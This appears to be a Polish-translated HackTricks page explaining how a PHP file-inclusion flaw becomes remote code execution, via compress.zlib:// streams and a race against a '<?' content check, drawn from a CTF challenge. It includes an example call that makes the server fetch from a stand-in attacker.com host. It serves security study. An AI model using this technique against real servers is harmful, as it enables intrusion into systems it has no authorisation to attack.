hacktricks/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md

5.6 KiB

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

WhiteIntel

WhiteIntel to wyszukiwarka zasilana przez dark web, która oferuje darmowe funkcje do sprawdzania, czy firma lub jej klienci zostali skompromitowani przez złośliwe oprogramowanie kradnące dane.

Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z oprogramowania kradnącego informacje.

Możesz odwiedzić ich stronę internetową i wypróbować ich silnik za darmo pod adresem:

{% embed url="https://whiteintel.io" %}


compress.zlib:// i PHP_STREAM_PREFER_STDIO

Plik otwarty przy użyciu protokołu compress.zlib:// z flagą PHP_STREAM_PREFER_STDIO może kontynuować zapisywanie danych, które przychodzą do połączenia później do tego samego pliku.

Oznacza to, że wywołanie takie jak:

file_get_contents("compress.zlib://http://attacker.com/file")

Wysyłamy żądanie o http://attacker.com/file, a następnie serwer może odpowiedzieć na żądanie poprawną odpowiedzią HTTP, utrzymać otwarte połączenie i wysłać dodatkowe dane jakiś czas później, które również zostaną zapisane do pliku.

Możesz zobaczyć tę informację w tej części kodu php-src w main/streams/cast.c:

/* Use a tmpfile and copy the old streams contents into it */

if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}

Wyścig o RCE

Ten CTF został rozwiązany przy użyciu poprzedniego triku.

Atakujący sprawi, że serwer ofiary otworzy połączenie, czytając plik z serwera atakującego przy użyciu protokołu compress.zlib.

Podczas istnienia tego połączenia atakujący będzie wyciekał ścieżkę do utworzonego pliku tymczasowego (która jest ujawniona przez serwer).

Podczas gdy połączenie jest nadal otwarte, atakujący wykorzysta LFI ładując plik tymczasowy, który kontroluje.

Jednakże, istnieje sprawdzenie w serwerze www, które zapobiega ładowaniu plików zawierających <?. Dlatego atakujący wykorzysta Wyścig o RCE. W połączeniu, które jest nadal otwarte, atakujący wyśle ładunek PHP PO tym, jak serwer www sprawdził, czy plik zawiera zakazane znaki, ale PRZED załadowaniem jego zawartości.

Aby uzyskać więcej informacji, sprawdź opis Wyścigu o RCE i CTF na https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer

WhiteIntel

WhiteIntel to wyszukiwarka zasilana dark-webem, która oferuje darmowe funkcjonalności do sprawdzania, czy firma lub jej klienci nie zostali skompromitowani przez złośliwe oprogramowanie kradnące dane.

Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.

Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za darmo pod adresem:

{% embed url="https://whiteintel.io" %}

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: